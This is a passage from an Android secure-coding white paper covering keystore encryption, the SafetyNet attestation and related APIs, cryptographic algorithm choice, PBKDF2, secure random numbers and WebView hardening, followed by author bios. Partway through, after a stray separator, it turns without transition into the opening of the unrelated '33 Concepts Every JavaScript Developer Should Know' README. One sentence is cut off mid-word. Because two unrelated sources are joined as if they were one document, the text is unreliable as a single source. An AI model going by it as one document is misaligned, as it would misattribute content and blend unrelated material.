from user's credential using
[PBKDF](https://en.wikipedia.org/wiki/PBKDF2)(8192
rounds of *PKCS5\_PBKDF2\_HMAC\_SHA1*) and the encrypted key is stored
in *.masterkey* file.
For hardware-backed keystore, the key files are encrypted using a
device-specific key that is stored in TEE and cannot be retrieved to
normal world applications even with root access. When the key pair is
generated with
[setEncryptionRequired](https://developer.android.com/reference/android/security/KeyPairGeneratorSpec.Builder.html#setEncryptionRequired\(\))
set to true, then keys will be *further* encrypted with a key derived
from secure lock screen credential (e.g., password, PIN, or pattern).
Having said that, the following are the cons if this security layer is
used:
- The successful key pair generation requires that the secure lock screen (e.g., password, PIN, pattern) is set up.
- The generated key pair are automatically deleted when the secure lock screen is disabled or reset.
- The generated key pair cannot be used until the user unlocks the secure lock screen after boot.
For API level 22 and below, the functionality/bug in Android keystore
encrypts all the keystore entries using masterkey, which may cause the
deletion of keystore files whenever lock screen credential is changed.
In API level 23, keys which do not require encryption at rest i.e. where
*setEncryptionRequired* is false, will no longer be deleted when secure
lock screen is disabled or reset. However, keys which require encryption
at rest will be deleted during these events.
SafteyNet: Developers Friend
----------------------------
SafteyNet is a set of services and APIs that was introduced by Google in 2013. It helps users and developers to secure the Android platform. It
protects the application against security threats, including device
tampering, bad URLs,
[PHAs](https://source.android.com/security/reports/Google_Android_Security_PHA_classifications.pdf)(Potentially
Harmful Applications), and fake users.
[Google Play Services](https://en.wikipedia.org/wiki/Google_Play_Services)
starts an always-running service named [snet](https://koz.io/inside-safetynet/). This service frequently collects various pieces of data from the device and sends it back to Google's cloud, this makes Android devices to contribute security-related information to Google's cloud services. The information includes security events, logs, configuration etc. The collected information is used in multiple ways such as ecosystem
analysis and threat profiling of the device.
Before 2016, user's enabling installation from unknown sources were
prompted to enable SafteyNet but from 2016 SafteyNet is enabled by
default on all Android devices with Google play.
### SafteyNet APIs
Google provides the following APIs that helps developers to assess the
health of Android device in which the application runs. It also help
developers to secure the Android application. The usage of SafteyNet API
is optional. However, it is strongly recommended that developers must
leverage the same.
- [SafetyNet Attestation API](https://developer.android.com/training/safetynet/attestation.html)
- [SafetyNet Verify Apps API](https://developer.android.com/training/safetynet/verify-apps.html)
- [SafetyNet reCAPTCHA API](https://developer.android.com/training/safetynet/recaptcha.html)
- [SafetyNet Safe Browsing API](https://developer.android.com/training/safetynet/safebrowsing.html)
#### SafetyNet Attestation API
SafteyNet Attestation API helps the developers to check the security and
compatibility of the Android device in which the application runs. The
API examines the software and hardware information on the device so as
to provide confidence to developers about the integrity of a device and
the application itself.
The features provided by this API is broadly categorized below:
##### Compatibility Test Suite Results
[CTS](https://source.android.com/compatibility/cts/)(Compatibility
Test Suite) is a free and commercial-grade test suite for Android and it
represents the \"mechanism\" of compatibility. For the certification
process for Google's applications, device manufacturers have to submit
their CTS test results. SafteyNet creates the profile of the device
based on the hardware and software information of the device. The
service then attempts to find this same profile within a list of device
models that have passed Android compatibility testing. If the device in
which the application is running meets the security and compatibility
requirements of Google the *ctsProfileMatch* response is returned.
##### Basic Integrity Checks
The API also helps us to check the integrity of the device so as to
determine whether or not the particular device has been tampered with or
otherwise modified. This provides developers with confidence about the
integrity of a device in which the application is running.
##### Application Integrity Checks
SafteyNet Attestation API allows developers to check the integrity of
the application that is using the API so that developers can assess
whether the calling app is legitimate.
##### Architecture
The workflow involved in SafteyNet Attestation API is explained below.
<p align="center">
<img src="./myMediaFolder/media/image18.png">
</p>
<p align="center">
Exhibit 22: SafetyNet Attestation API protocol
</p>
1. A [nonce](https://en.wikipedia.org/wiki/Cryptographic_nonce) is a random token generated in a cryptographically secure manner. It is recommended that the nonce must be generated at server side and sent to client over a secure connection. Usage of nonce prevents from replay attacks.
2. The application makes a call to the SafetyNet Attestation API via Google Play Services.
3. The SafetyNet Attestation API communicates with the backend server and requests a signed response.
4. The SafteyNet Attestation backend sends the response to Google Play services. The received response is formatted as a [JWS](https://tools.ietf.org/html/rfc7515)(JSON Web Signature). The following JWS excerpt shows the format of the payload da
Source: [Google SafteyNet Attestation
Document](https://developer.android.com/training/safetynet/attestation.html)
<p align="center">
<img src="./myMediaFolder/media/image23.png">
</p>
<p align="center">
Exhibit 23: Attestation Response
</p>
- *ctsProfileMatch*: The value contains the result of CTS compatibility. If the value is true then the profile of the device running the application matches the profile of the device that has passed Android compatibility testing.
- *basicIntegrity*: The value contains the results of device's integrity checks. If the value is true then the device running the application wasn\'t tampered with. If the result is true, it doesn\'t mean the device has passed Android compatibility test.
- *apkPackageName*: The parameter provides the package name of the application invoking SafteyNet Attestation API.
- *apkCertificateDigestSha256*: The parameter provides the base64 encoded SHA-256 digest of certificate used to sign the application.
- *apkDigestSha256*: The parameter provides the base64 encoded SHA-256 hash of the application's APK file.
5. The JWS attestation response is then sent to the application requesting the services.
6. One of the best thing of SafteyNet Attestation API is that, it can be verified at the application server side. Application client will send the received response to server for the verification.
7. Application server processes the attestation response and sends the result of the verification process back to the application. The application server can then directly ask Google to verify the JWS signature (or do it itself) and proceed to act on the results on the server side, for example deny API access to the client.
Note: If the device running the application is CTS compatible, this does
not mean that the device is vulnerability-free. Google does not check if
a device is up to date or vulnerable to public exploits, as part of the
SafetyNet service. It checks if it has been tampered compared to an
expected normal and safe state.
SureShot Solution
As already discussed, there is no sure-shot mechanism of identifying the
rooted device. Root cloakers run with root privileges hence root
detection can be bypassed but, the checks indeed increases the attack
complexity thus reduces the overall risk. However, it is strongly
recommended that SafteyNet attestation API should be implemented in the
suggested way.
Application Integrity
The APK information *apkPackageName*, *apkCertificateDigestSha256* and
*apkDigestSha256* for the integrity checks of the application should
only be trusted if *ctsProfileMatch* is true.
Secure Implementation
- It is strongly advised that security decisions must happen on the server and not at the client as the client side code can be very easily tampered. Instead, developers should send the entire JWS response to their own server over a secure connection, for the verification. The signed JWS response must be validated before processing.
- It is recommended that the attestation check must be performed for all the critical workflows such as login, financial transactions etc. However, attestation introduces latency, bandwidth, power usage etc. and hence a balance between security and usability must be maintained.
#### SafetyNet Verify Apps API
In early 2012, Google introduces an automated security scanner, to scan
new and existing applications for for malware, spyware, and trojan
viruses. In 2017, Google launched [Google Play
Protect](https://en.droidwiki.org/wiki/Google_Play_Protect)
which is a suite of safety services such as Verify Apps.
As per [Google's Android Security 2016 Year In
Review](https://source.android.com/security/reports/Google_Android_Security_2016_Report_Final.pdf),
Google scans all the Android devices at least once every six days and
devices with risk factors are scanned more frequently. Google Play
Protect improves the security of the underlying device in the following
ways:
- It scans the applications before downloading from Google Play Store and blocks the installation if the application is found to be a PHA(Potentially Harmful Application).
- It regularly scans the installed applications on the device and if it finds the PHA, it may prompt the user to delete the application or automatically remove the same.
Google Play Protect is available on all Android devices with Google Play
installed. It helps users to secure their Android device. Moreover, it
also helps application developers to get security insights of the
devices on which the application is running using SafetyNet Verify Apps
API.
SafteyNet verify Apps API allows the application to interact with Verify
Apps feature on device so as to protect the device against PHAs. It is
unlike SafteyNet Attestation API which checks for the device integrity.
Installed malicious applications on user's device may interact with the
other applications to let them behave in unintended manner. It is
strongly recommended that for the applications involving flow of
sensitive data, application developers should confirm that the device on
which the application is running is protected against malicious
applications.
#### SafetyNet reCAPTCHA API
SafteyNet reCAPTCHA API protects the application from malicious traffic.
It is developed to authenticate that the user is human and not a bot or
an automated tool. It uses an advanced risk analysis engine to protect
the applications from malicious traffic generated using a bot, automated
tool etc. If the service suspects that the user interacting with the
application may be a bot rather than a human, it serves a CAPTCHA that a
human must solve before the application can continue the execution.
#### SafetyNet Safe Browsing API
Google introduced safe browsing in 2005. It allows the applications to
check URLs against unsafe web resources such as phishing websites,
deceptive sites, malware hosting websites and hence prevents a user from
security threats. Whenever a user tries to access such web resources,
safe browsing enabled web browsers displays a warning to inform users
regarding the malicious web resource. The warning displayed is shown by
Exhibit 24.
<p align="center">
<img src="./myMediaFolder/media/image24.png">
</p>
<p align="center">
Exhibit 24: Safe Browsing Warning Messag
</p>
Safe Browsing is a very popular security feature introduced by Google.
Approximately a billion users take advantage of Safe Browsing everyday.
(Source: *Google's Android Security 2016 Year In Review*^\[59\]^). The
protection is already enabled on the chrome browser on Android devices.
In mid-2016, Google released Safe Browsing API for third-party
developers, to protect their applications from malicious web resources.
The application can use SafteyNet Safe Browsing API to determine whether
a particular URL has been classified by Google as a known threat.
Developers can use Safe Browsing's database of known harmful URLs to
secure the application. It is strongly emphasised that application
developers should use this API to take full advantage of Google\'s Safe
Browsing service on Android in the most resource-optimized way.
### Notes for Developers
#### Lack of Rate Limiters
The lack of implementation of rate limiters on critical workflows such
as authentication, registration, initiating Email or OTPs etc. allows an
attacker to exploit the service using an automated tool. Few of the such
instances are briefly explained below:
- Authentication Requests: An attacker may bruteforce user's password/PIN/OTP in order to bypass authentication and login into victim's account.
- Initiating Email/OTP: An attacker may initiate several Email and/or OTP requests for spamming, Denial of Service(DOS) etc.
It is advised that the developers must implement rate limiters such as
CAPTCHA in order to block malicious traffic generated by automated
tool/bots. The SafetyNet reCAPTCHA API can also be used for it to
protect the application from such attacks.
#### Insecure Implementation of Attestation API
SafteyNet Attestation API is the robust API that can be used by
application developers to build a secure Android applications.
Unfortunately sometimes the API is not implemented in the proper way by
the application developers. The following should be considered while
implementing the Attestation API:
- Nonce Implementation: The nonce should be generated using a cryptographic secure random function at the server side. It is recommended that the nonce should be derived from multiple user-specific details and a timestamp(Ex. Hash of username and timestamp) to prevent replay attacks. Once the nonce is generated at the server side it should be shared over secure connection with the client and during the verification of attestation response it should also be validated in the JWS response.
- Client Side Verification: Verification of the attestation response at the client side is strongly discouraged as the verification logic can be easily tampered by modifying and repacking the application.
- Secure Server Side Verification: The verification must happen at the server side such that the attestation response must be sent to the server over a secure communication channel and the origin and the integrity of the JWS message must be validated before processing it further.
- Updated Version: The SafetyNet Attestation API is continuously evolving and the security features are also improving with time. It is recommended that the developers should use the latest version of SafteyNet APIs.
Some Other Security Practices
=============================
Secure Crypto Implementation
----------------------------
Cryptography is a science of hiding things. There are several scenarios
where the usage of cryptography is required to protect the
confidentiality and integrity of sensitive user data. The strength of
cryptography lies in its configuration and implementation. For an
instance, while implementing cryptography, using a strong cryptographic
algorithm alone is not enough as the security of otherwise strong
algorithms can be affected through their implementation. For Example,
poor key management may easily compromise strong encryption algorithms.
### Reducing Unnecessary Attack Surface
In the scenario where cryptography is required to secure the local data
storage, developers must avoid the storage of unnecessary data in the
application's local data storage. During the security evaluations of
different Android applications, often it is observed that the code
snippets introduced during development/debugging phase of the
application to store the sensitive information and/or [Personally
Identifiable Information(PII)](https://en.wikipedia.org/wiki/Personally_identifiable_information)
of the user in the application's local data store were not removed by
the application developers before releasing the production build. It
is recommended that the application should not capture unnecessary
sensitive data. Only the required sensitive data should be captured and
must be securely handled.
In scenario, where the application is required to store sensitive data
or user's PII in the local data storage of the application, developers
must manage the data securely using secure crypto implementations.
### Avoid Usage of Insecure and Custom Cryptographic Algorithms
The cryptographic algorithms and protocols that were considered as
secure couple of years back aren\'t viewed as secure any longer this is
in indeed due to the advancement in the computation. Established
algorithms which once required significant computing time, can now be
broken down in a matter of days or hours. This means that with the
expansion in computational power the security requirements must increase
accordingly. Cryptographic algorithms must be up to date and
in-accordance with the industry standards.
Usage of weak encryption algorithms such as DES, Triple DES, AES-ECB and
hashing algorithms such as MD4, MD5, SHA-1 is not advised since these
algorithms are vulnerable to known cryptographic attacks.
Usage of custom encryption algorithms are strongly discouraged. The
standard algorithms undergo research and are well tested. Usage of
custom algorithms is tedious, troublesome, and likely to fail.
### It is recommended that following cryptographic algorithms should be used:
- **Confidentiality Algorithms:** AES-GCM-256 or ChaCha20-Poly1305
- **Integrity Algorithms:** SHA-256, SHA-384, SHA-512, Blake2
- **Digital Signature Algorithms:** RSA (3072 bits and higher), ECDSA with NIST P-384
- **Key Establishment Algorithms:** RSA (3072 bits and higher), DH (3072 bits or higher), ECDH with NIST P-384
Source: [OWASP Mobile Testing Security
Guide](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04g-Testing-Cryptography.md)
### Avoid Insecure Key Derivation Mechanisms
As already discussed, the strength of cryptography not only depends on
the cryptographic algorithms but also on its implementation. Key
management is one of the most important process since poor key
management may easily compromise secure and strong algorithms. The
confidentiality and integrity provided by cryptographic processes such
as symmetric encryption and keyed hashes (MACs) depends on the secrecy
of the encryption key involved. In the event that the key is revealed,
the confidentiality and integrity provided is lost.
During security analysis of various Android applications often it is
found that the developers hard-code encryption keys in the application
source code. Sometimes, it is also observed that the encryption keys are
stored in the application resources or local data store. This way of key
management is insecure as an attacker can get access to the encryption
keys by reverse engineering the application. Even if the source code is
obfuscated, developers must not hardcode the encryption keys since
obfuscation only increases the analysis time and can be easily bypassed
using dynamic instrumentation.
<p align="center">
<img src="./myMediaFolder/media/image14.png">
</p>
<p align="center">
Exhibit 25: Working of PBKDF2
</p>
Since the security of information protected by cryptography directly
depends on the robustness of the keys, so the encryption keys must be
securely managed. It is recommended that developers use PBKDF2(Password
Based Key Derivation Function) for deriving the encryption key as shown
by Exhibit 24. It applies a cryptographic pseudo random function(A) such
as HMAC to the input value(P) along with a salt(S) and repeats the
process for specified iterations(I) to produce a key of the specified
length(L). The algorithm inherently blocks brute force attacks.
While implementing PBKDF2, developers must take care of the following:
- The input value to the algorithm must not be hardcoded in the application's source code and instead a user supplied password should be used to derive encryption key. It is also recommended that the application must enforce the usage of strong password policies to further prevent possibilities of brute-force attacks.
- The strength of PBKDF2 lies in its iteration count as it traditionally serves the purpose of increasing the cost of key generation from an input value. If the iteration count is too low, the feasibility of an attack increases as an attacker may compute \"rainbow tables\" for the application and may easily determine the hashed password values. It is recommended that the key derivation function should be used with 10,000 or more rounds of iteration so as to make brute-force attacks expensive.
- The encryption key can be derived at the time of registration/first login and can be used to encrypt sensitive data and the same key can be used to decrypt sensitive data whenever correct password is supplied.
### Secure Pseudo Random Number Generation
During the function flow of the application, developers often use random
numbers for nonce, salt, IV(Initialization Vector) etc. It is strongly
recommended that the application developers use secure random numbers
instead of conventional random numbers. Since the latter does not
withstand cryptographic attacks. Application developers must use
*java.security.SecureRandom* instead of *java.util.Random* so as to
prevent insecure randomness errors that may occur in a
security-sensitive context.
Also, when random numbers are used application developers must avoid
explicit seeding to prevent deterministic random number generations. For
API levels 17 and below, calling *setSeed* method will make the RNG
(Random Number Generator) into a Deterministic RNG as it will only use
the supplied seed that may lack entropy. The default implementation
automatically seeds itself using the system random number generator
whereas for API level 18 and above the specified seed is just added to
the random state, so the RNG stays fully random.
Securing Android Webviews
-------------------------
Android allows developers to display web content directly into their
application through Webviews. In the past, Webview was tightly coupled
with the Android platform however, from Android 5.0
Google seperated Webview from the core Android platform in order to aid
separate security updates. It is shown by Exhibit 26.
<p align="center">
<img src="./myMediaFolder/media/image7.png">
</p>
<p align="center">
Exhibit 26: Decoupling of Webview from Android OS
</p>
Usage of Webviews is very developer friendly and the same is
strengthened over the years but in spite of that it can be easily
abused. The following sections describes the recommendations of securely
using webviews.
### Webview Hardening
It strongly recommended that the Webview must be hardened properly
before usage. The following key points should be taken care while
working with Android webviews.
- **Usage of JavaScript:** Whenever a webview instance is instantiated the JavaScript is disabled by default. It is recommended that the JavaScript should not be enabled unless it is very much required as the usage of the same increases the attack surface. If JavaScript is disabled, the impact of Man In The Middle attack is reduced and it also prevents the application from Cross Site Scripting(XSS) attacks.
If the usage of JavaScript is required, then all the input consumed by
the application must be validated at the server side. It is also
recommended that the input must be encoded using encoding schemes such
as URI/HTML encoding before it is sent as the part of HTTP response.
- **Access to Content Providers:** Whenever an instance of Webview is created, by default it has access to the content providers which may unnecessarily increase the attack surface. In scenario where the access to content providers is not required and the same is not explicitly disabled, a compromise of Webview will also lead to the compromise of content providers.
It is recommended that if the access to content providers is not required it should be explicitly disabled using the *setAllowContentAccess* method.
- **Access to File System:** Whenever an instance of Webview is created, by default it has access to the file system which may unnecessarily increase the attack surface. In scenario where the access to file system is not required and the same is not explicitly disabled, a compromise of Webview will also lead to the compromise of file system. It is recommended that the if the file system access is not required it must be explicitly disabled using the *setAllowFileAccess* method.
- **File Access From File URLs:** For API level 15 and below, whenever an instance of webview is created, by default it allows JavaScript running in context of a file scheme URLs to access resources on the filesystem. It is recommended that If the application supports API level 15 and below, it must be explicitly disabled using *setAllowFileAccessFromFileURLs* to reduce the attack surface.
- **Universal File Access From File URLs:** For API level 15 and below, whenever an instance of webview is created, by default it allows JavaScript running in context of a file scheme URLs to access content from any origin and the content from other file scheme URLs. It is recommended that If the application supports API level 15 and below, it must be explicitly disabled using *setAllowUniversalAccessFromFileURLs* and *setAllowFileAccessFromFileURLs* respectively so as to reduce the attack surface.
### Preventing Excess Authorization
Android enables developers to inject Java objects into the webview, it
allows JavaScript to access the Java object methods. Developers can
create a bridge between JavaScript and Java using
*addJavascriptInterface* method. This is a very powerful feature, but it
had serious security issues for API levels JELLY\_BEAN and below.
API level 16 and below, allows JavaScript to execute all the public
methods (including the inherited ones) which can be abused in the
scenario where *addJavascriptInterface* method is invoked with untrusted
content in a WebView, leaving the application vulnerable to scripting
attacks using reflection to access public methods through JavaScript.
Application developers should refrain from calling
*addJavascriptInterface,* if the usage is required developers must not
support vulnerable Android versions (API level \<=16).
Also, the following things must be taken care when registering the
JavaScript interface:
1. The JavaScript content should be shared over a secure connection.
2. The JavaScript content should not be loaded from a third-partyserver.
3. Security measures to prevent Cross Site Scripting(XSS) attacks must be strictly followed. In order to secure the application from XSS attacks, application developers can refer [XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting_Prevention_Cheat_Sheet).
For API Levels 17 and above this issue was fixed as only public methods
annotated with JavascriptInterface could be accessed through JavaScript.
OWASP Dependency Check
----------------------
Application developers often use components(e.g., framework libraries)
that aren't written by them, as it is usually not realistic to write the
entire application code from the scratch. It is very usual that these
application components have vulnerabilities. An attacker can identify
these vulnerable components during information gathering phase and can
then frame the attack using publicly available exploit code.
There are known vulnerabilities in common libraries for Android
development such as
[OkHttp](https://www.cvedetails.com/cve/CVE-2016-2402/)
and [Apache Commons
I/O](https://www.cvedetails.com/product/32731/Apache-Commons-Collections.html?vendor_id=45).
In order to reduce the attack surface, application developers must
remove unnecessary dependencies, features, components, files etc. Also,
application developers must maintain an inventory of the versions of
both client side and server side components and sources like
[CVE](https://cve.mitre.org/) and [NVD](https://nvd.nist.gov/) must be
continuously monitored for vulnerabilities.
Fortunately [OWASP Dependency
Check](https://www.owasp.org/index.php/OWASP_Dependency_Check)
utility made the life of developers easy. The utility is maintained by
Jeremy Long, it identifies the project dependencies and reports on any
known, publicly disclosed, vulnerabilities.
The step by step guide of using the OWASP Dependency Check utility is
very well explained [here](https://medium.com/@appmattus/android-security-scanning-your-app-for-known-vulnerabilities-421384603fc5)
10 Things To Check Before Publishing The Application
----------------------------------------------------
<p align="center">
<img src="./myMediaFolder/media/image15.png">
</p>
<p align="center">
Exhibit 27
</p>
Conclusion
==========
Adding security to the applications was yesterday's need. In the present
era of cyber security and cyber crimes, it is integral that security is
incorporated into the Software Development Life Cycle(SDLC) itself and
it goes hand-in-hand with development. The white paper will enable
developers and security researchers to securely code Android
applications leveraging its inherent security features.
The paper introduces the fundamentals of Android system architecture and
the internals of the Android application. This could serve as a bridge
between developers who have limited understanding of security and
security analysts with limited knowledge of development.
Several security features like SafetyNet APIs, Android Keystores,
Exploit Mitigation Techniques etc. are discussed in this paper. The
paper also addresses recommendations to common problems like missing
integrity checks, secure crypto implementations etc. In scenarios where
some of these features are already implemented, this paper could serve
as a baseline to distinguish the proper implementations from improper
ones.
About Author
============
**Shiv Sahni** is an information security professional with a master's
degree focused in Informatics from Institute of Informatics and
Communication, University of Delhi. He was also awarded a gold medal
from the University of Delhi for outstanding academic achievements. Shiv
is working as a Senior Security Analyst with Lucideus Technologies. He's
an Offensive Security Certified Professional and BSI certified ISMS Lead
Auditor and acquires the skills to perform automated as well as manual
vulnerability assessment and penetration testing along with the
abilities to provide code-level remedies to fix the open gaps. With
close to two years of work experience in web application, mobile
application and network vulnerability assessment and penetration
testing, he specializes in Android application vulnerability assessment
and penetration testing. Shiv has worked with government and private
industries to secure their digital infrastructure. Some of the many
industries include Banking, Financial Services and Insurance (BFSI),
Online/ ECommerce, Food & Beverages, Media etc.
Lucideus Technologies: The Author's Company
-------------------------------------------
**Lucideus Technologies** is an Indian cyber security company and is the
[best IT Startup in
India](http://pib.nic.in/newsite/PrintRelease.aspx?relid=157785) awarded
by the Government of India at National Entrepreneurship Awards 2016.
Incubated out of IIT Bombay, we are a pure play cyber security platforms
company. We provide IT risk assessment services and platforms to
corporates and governments across the globe. We build and deliver
information security services, both generic and customized to
proactively secure, continuously monitor and reactively respond to cyber
threats to your technology stack. Our objective is quantify digital risk
to inculcate a knowledge-based culture of safe and secure use of
technology, such that risk becomes an informed business decision leading
to minimal disruptions to your business and life.
About Technical Editor and Reviewer
-----------------------------------
**Vidit Baxi** is an information security analyst with 8 years of
experience in handling over 200 cyber security & incident response
projects across sectors around the globe. Areas of expertise include
Penetration Testing, Cyber Security Consulting, business process
analysis, and risk assessments. Vidit has tested a variety of
applications and hardware platforms to identify system-level as well as
architectural-level vulnerabilities, and supported Tech Teams in fixing
potential business risks to enhance the overall security stature of the
organizations. Working with Lucideus since its inception and has played
a vital role in setting up the cyber security services division and
relevant practices.
**Tony Thomas** is an Information security professional with 2 years of
experience in the fields of Web, Mobile and Network Security with his
core competence being Mobile Security. He has been an integral part of
securing various Infrastructures ranging from the Government
Organisations to Independant Private Enterprises. Being OSCP Certified,
he has also conducted various penetration tests for critical and
information sensitive environments. He has also delivered various
trainings across India to both the Development and Security Community.
Knowledge of the secure coding practices has enabled him to perform
source code review on various applications to identify logical bugs and
misconfigurations in them.
Additional Resources
--------------------
*OWASP Mobile Testing Guide*
[[https://github.com/OWASP/owasp-mstg]](https://github.com/OWASP/owasp-mstg)
*Google's Android Security 2016 Year In Review*
[[https://source.android.com/security/reports/Google\_Android\_Security\_2016\_Report\_Final.pdf]](https://source.android.com/security/reports/Google_Android_Security_2016_Report_Final.pdf)
*Carnegie Mellon University Secure Coding Blogs*
[[https://wiki.sei.cmu.edu/confluence/display/android/Android+Secure+Coding+Standard?src=spaceshortcut]](https://wiki.sei.cmu.edu/confluence/display/android/Android+Secure+Coding+Standard?src=spaceshortcut)
*Android Security Internals*
[[https://www.nostarch.com/androidsecurity]](https://www.nostarch.com/androidsecurity)
*Mobile Application Hacker's Handbook*
[[http://onlinelibrary.wiley.com/book/10.1002/9781119183655]](http://onlinelibrary.wiley.com/book/10.1002/9781119183655)
*Android Hacker's Handbook*
[[https://www.wiley.com/en-us/Android+Hacker%27s+Handbook-p-9781118608647]](https://www.wiley.com/en-us/Android+Hacker%27s+Handbook-p-9781118608647)
*Research Paper-Analysis of Secure Key Storage Solutions on Android*
[[http://www.cs.kun.nl/\~erikpoll/publications/AndroidSecureStorage.pdf]](http://www.cs.kun.nl/~erikpoll/publications/AndroidSecureStorage.pdf)
*Research Paper- Analyzing WebView Vulnerabilities in Android
Applications*
[[https://pdfs.semanticscholar.org/99be/d589a51c763133c9fb4222beb35950c31788.pdf]](https://pdfs.semanticscholar.org/99be/d589a51c763133c9fb4222beb35950c31788.pdf)
*SafetyNet: Google\'s tamper detection for Android by John Kozyrakis*
[[https://koz.io/inside-safetynet/]](https://koz.io/inside-safetynet/)
*Android Developer Blogs*
[[https://developer.android.com/training/articles/security-tips.html\#IPC]](https://developer.android.com/training/articles/security-tips.html#IPC)
|
<h1 align="center">
<br>
<a href="https://github.com/leonardomso/33"><img src="https://i.imgur.com/dsHmk6H.jpg" alt="33 Concepts Every JS Developer Should Know" width=200" /></a>
<br>
<br>
33 Concepts Every JavaScript Developer Should Know
<br><br>
</h1>
[](https://twitter.com/leonardomso)
## Introduction
This repository was created with the intention of helping developers master their concepts in JavaScript. It is not a requirement, but a guide for future studies. It is based on an article written by [Stephen Curtis](https://twitter.com/stephenthecurt) and you can read it [here](https://medium.com/@stephenthecurt/33-fundamentals-every-javascript-developer-should-know-13dd720a90d1).
**🚀 Considered by GitHub as one of the [top open source projects of 2018!](https://blog.github.com/2018-12-13-new-open-source-projects/)**
## Community
Feel free to submit a PR adding a link to your own recaps or reviews. If you want to translate the repo into your native language, please feel free to do so.
All the translations for this repo will be listed below:
- [(Arabic)](https://github.com/amrsekilly/33-js-concepts) — Amr Elsekilly
- [汉语 (Chinese)](https://github.com/stephentian/33-js-concepts) — Re Tian
- [Português do Brasil (Brazilian Portuguese)](https://github.com/tiagoboeing/33-js-concepts) — Tiago Boeing
- [한국어 (Korean)](https://github.com/yjs03057/33-js-concepts.git) — Suin Lee
- [Español (Spanish)](https://github.com/adonismendozaperez/33-js-conceptos) — Adonis Mendoza
- [Türkçe (Turkish)](https://github.com/ilker0/33-js-concepts) — İlker Demir
- [русский язык (Russian)](https://github.com/gumennii/33-js-concepts) — Mihail Gumennii
- [Tiếng Việt (Vietnamese)](https://github.com/nguyentranchung/33-js-concepts) — Nguyễn Trần Chung
- [Polski (Polish)](https://github.com/lip3k/33-js-concepts) — Dawid Lipinski
- [فارسی (Persian)](https://github.com/majidalavizadeh/33-js-concepts) — Majid Alavizadeh
- [Bahasa Indonesia (Indonesian)](https://github.com/rijdz/33-js-concepts) — Rijdzuan Sampoerna
- [Français (French)](https://github.com/robinmetral/33-concepts-js) — Robin Métral
- [हिन्दी (Hindi)](https://github.com/vikaschauhan/33-js-concepts) — Vikas Chauhan
- [Ελληνικά (Greek)](https://github.com/DimitrisZx/33-js-concepts) — Dimitris Zarachanis
- [日本語 (Japanese)](https://github.com/oimo23/33-js-concepts) — oimo23
- [Deutsch (German)](https://github.com/burhannn/33-js-concepts) — burhannn
- [украї́нська мо́ва (Ukrainian)](https://github.com/AndrewSavetchuk/33-js-concepts-ukrainian-translation) — Andrew Savetchuk
- [සිංහල (Sinhala)](https://github.com/ududsha/33-js-concepts) — Udaya Shamendra
- [Italiano (Italian)](https://github.com/Donearm/33-js-concepts) — Gianluca Fiore
- [ภาษาไทย (Thai)](https://github.com/ninearif/33-js-concepts) — Arif Waram
- [Català (Catalan)](https://github.com/marioestradaf/33-js-concepts) — Mario Estrada
- [ខ្មែរ (Khmer)](https://github.com/Chhunneng/33-js-concepts) — Chrea Chanchhunneng
- [አማርኛ (Ethiopian)](https://github.com/hmhard/33-js-concepts) - Miniyahil Kebede(ምንያህል ከበደ)
- [Беларуская мова (Belarussian)](https://github.com/Yafimau/33-js-concepts) — Dzianis Yafimau
---
## <a id="table-of-contents">Table of Contents</a>
1. **[Call Stack](#1-call-stack)**
2. **[Primitive Types](#2-primitive-types)**
3. **[Value Types and Reference Types](#3-value-types-and-reference-types)**
4. **[Implicit, Explicit, Nominal, Structuring and Duck Typing](#4-implicit-explicit-nominal-structuring-and-duck-typing)**
5. **[== vs === vs typeof](#5--vs--vs-typeof)**
6. **[Function Scope, Block Scope and Lexical Scope](#6-function-scope-block-scope-and-lexical-scope)**
7. **[Expression vs Statement](#7-expression-vs-statement)**
8. **[IIFE, Modules and Namespaces](#8-iife-modules-and-namespaces)**
9. **[Message Queue and Event Loop](#9-message-queue-and-event-loop)**
10. **[setTimeout, setInterval and requestAnimationFrame](#10-settimeout-setinterval-and-requestanimationframe)**
11. **[JavaScript Engines](#11-javascript-engines)**
12. **[Bitwise Operators, Type Arrays and Array Buffers](#12-bitwise-operators-type-arrays-and-array-buffers)**
13. **[DOM and Layout Trees](#13-dom-and-layout-trees)**
14. **[Factories and Classes](#14-factories-and-classes)**
15. **[this, call, apply and bind](#15-this-call-apply-and-bind)**
16. **[new, Constructor, instanceof and Instances](#16-new-constructor-instanceof-and-instances)**
17. **[Prototype Inheritance and Prototype Chain](#17-prototype-inheritance-and-prototype-chain)**
18. **[Object.create and Object.assign](#18-objectcreate-and-objectassign)**
19. **[map, reduce, filter](#19-map-reduce-filter)**
20. **[Pure Functions, Side Effects, State Mutation and Event Propagation](#20-pure-functions-side-effects-state-mutation-and-event-propagation)**
21. **[Closures](#21-closures)**
22. **[High Order Functions](#22-high-order-functions)**
23. **[Recursion](#23-recursion)**
24. **[Collections and Generators](#24-collections-and-generators)**
25. **[Promises](#25-promises)**
26. **[async/await](#26-asyncawait)**
27. **[Data Structures](#27-data-structures)**
28. **[Expensive Operation and Big O Notation](#28-expensive-operation-and-big-o-notation)**
29. **[Algorithms](#29-algorithms)**
30. **[Inheritance, Polymorphism and Code Reuse](#30-inheritance-polymorphism-and-code-reuse)**
31. **[Design Patterns](#31-design-patterns)**
32. **[Partial Applications, Currying, Compose and Pipe](#32-partial-applications-currying-compose-and-pipe)**
33. **[Clean Code](#33-clean-code)**
---
## 1. Call Stack
### Reference
- 📜 [Call Stack — MDN](https://developer.mozilla.org/en-US/docs/Glossary/Call_stack)
### Articles
- 📜 [Understanding Javascript Call Stack, Event Loops — Gaurav Pandvia](https://medium.com/@gaurav.pandvia/understanding-javascript-function-executions-tasks-event-loop-call-stack-more-part-1-5683dea1f5ec)
- 📜 [Understanding the JavaScript Call Stack — Charles Freeborn](https://medium.freecodecamp.org/understanding-the-javascript-call-stack-861e41ae61d4)
- 📜 [Javascript: What Is The Execution Context? What Is The Call Stack? — Valentino Gagliardi](https://web.archive.org/web/20180701233338/https://www.valentinog.com/blog/js-execution-context-call-stack/)
- 📜 [What is the JS Event Loop and Call Stack? — Jess Telford](https://gist.github.com/jesstelford/9a35d20a2aa044df8bf241e00d7bc2d0)
- 📜 [Understanding Execution Context and Execution Stack in Javascript — Sukhjinder Arora](https://blog.bitsrc.io/understanding-execution-context-and-execution-stack-in-javascript-1c9ea8642dd0)
